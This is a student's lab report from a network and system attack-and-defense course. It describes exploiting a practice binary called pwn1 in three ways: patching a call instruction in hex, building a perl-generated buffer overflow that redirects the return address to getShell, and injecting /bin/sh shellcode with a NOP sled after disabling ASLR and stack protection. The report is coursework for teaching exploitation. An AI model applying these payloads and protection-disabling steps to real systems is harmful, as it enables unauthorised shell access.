20192427 2021-2022-2 《网络与系统攻防技术》实验一
1,实验内容
1.1 实验要求
- 实践的对象:是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实验实践的目标就是想办法运行这个代码片段。本次实验将用两种方法运行这个代码片段,然后注入运行Shellcode。
1.2 实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2,实验过程
2.1 直接修改程序机器指令,改变程序执行流程。
- 使用objdump指令对pwn20192427进行反汇编
objdump -d pwn20192427 | more
如上图所示:
- call 8048491 汇编指令:
该指令调用位于8048491处的foo函数
对应机器指令是 e8 d7ffffff
e8有跳转的意思,解释e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29。 - main函数中调用foo函数:
对应机器指令是 e8 d7ffffff - d7ffffff为foo函数的地址偏移量,将其改为getshell地址的偏移量,就可以运行getshell函数。
- 要调用getshell函数,就需要将d7ffffff改成getshell函数地址对应的补码,也就是得到getshsell-80484ba对应的补码即可。
- 使用windows计算器,计算47d-4ba可以得到补码c3ffffff
因此,将call指令的目标地址从d7ffffff改为c3ffffff即可
2,进行修改操作:
使用vim打开pwn20192427
vi pwn20192427
输入如下,将显示模式转换为16进制模式
:%!xxd
查找要修改的内容
/e8d7
查找结果如下
将其中的d7修改为c3
修改结果如下
转换16进制为原格式
:%!xxd -r
保存并退出
:wq
再次使用objdump查看修改结果
结果如下图
运行修改过后的代码,得到shell提示符#
如下图
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
1,通过objdump反汇编再次了解一下pwn20192427程序的汇编代码
如下图
在上图中可以发现,在main函数调用的foo函数中只给输入数据分配了0×1c(28字节)的空间,现在需要确认输入字符串的几个字符可以覆盖掉返回地址。
==上面的call调用foo,同时在堆栈上压上返回地址值:__________==
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
080484d0 <__libc_csu_init>:
2,确认输入字符串哪几个字符会覆盖返回地址
这里需要看的是eip的值,此处为0x35353535,35是5的ASCII码值,我们输入总计36位,可以看出此处超出28位的5555溢出到了EIP中
3,再进一步确认究竟是哪私网的数据溢出到EIP中,我们输入1111111222222233333334444444412345678
4,由上图可知,eip寄存器中值为4321,为小端字节序,观察可知此处EIP的值为0x34333231,分别对应4321的ascii码,最后是29~32位上的1234覆盖到对战的返回地址EIP的位置上,如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
5,构造输入字符串
因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值
因此,先生成如下字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
注释: 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
结果如下:
同时使用
xxd input
来查看input文件中的内容是不是符号预期。
6,再将input通过管道符“|”当作pwn20192427的输入,然后进去getshell
(cat input;cat) | ./pwn20192427
7,或者不生成文件直接输入
(perl -e 'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn20192427
2.3 注入Shellcode并执行
2.3.1准备一段shellcode
1,首先了解shellcode
- shellcode是一段机器指令
- 这段机器指令目的是威力获取一个交互式的shell(就像linux的shell或者像window下的cmd.exe)
-以下实践使用该文章中生成的shellcode,如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.3.2准备工作
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2.3.3构造要注入的patload
1,Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
注释: 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
2,buf够放这个shellcode了
结构为:nops+shellcode+retaddr;
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
3,构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4,使用此命令构建字符串并保存到input_shellcode中,不确定的字节用 12 34h填充
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
5,打开终端注入以下的字符串:
(cat input_shellcode;cat) | ./pwn20192427
6,打开另一终端,用下命令找pwn20192427的进程号:
ps -ef | grep pwn20192427
得到进程号:2753
7,启动gdb调试这个进程
gdb
(gdb) attach 2753
然后反汇编foo函数,查看返回指令(ret)的地址
并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行
8,待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址
info r esp
9,使用如下的指令查看该地址附近数据
x/16x 0xffffd31c //看到 01020304了,再往前找
x/16x 0xffffd300 //看到9090310c了,再往前一点
x/16x 0xffffd2fc
x/16x 0xffffd17c
10,从0xffffd15c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20192427
3,问题及其解决方案
-
问题一 gdb出现报错 :报信息Detaching after fork from child process ***
解决方法:网上搜索
但是,问题还是没有解决,最后重新启动虚拟机才没出现问题 -
问题二
解决方法:
通过同学给的链接,Debian版本的进行下载,链接如下:
https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html
- 问题三
获取注入的字符串的地址出现错误
问题估计是准备工作出现问题
解决方法:
将如上命令重新输入一遍,同学说是,没有关闭地址随机化
4,实验感想
此次实验主要是缓冲区溢出攻击,实验的目的是主要使我指导缓冲区溢出的基本概念,实验过程中大部分实验步骤都是参照刘老师的博客,以及云班课的视频去做的。
做完实验会感觉到自己很多地方不够仔细,对汇编语言了解微乎其微。并且此次的shellcode是由老师在实验报告中提供给大家的,对我的帮助很大,同时提醒我还需要对shellcode的许多相关知识进行进一步的了解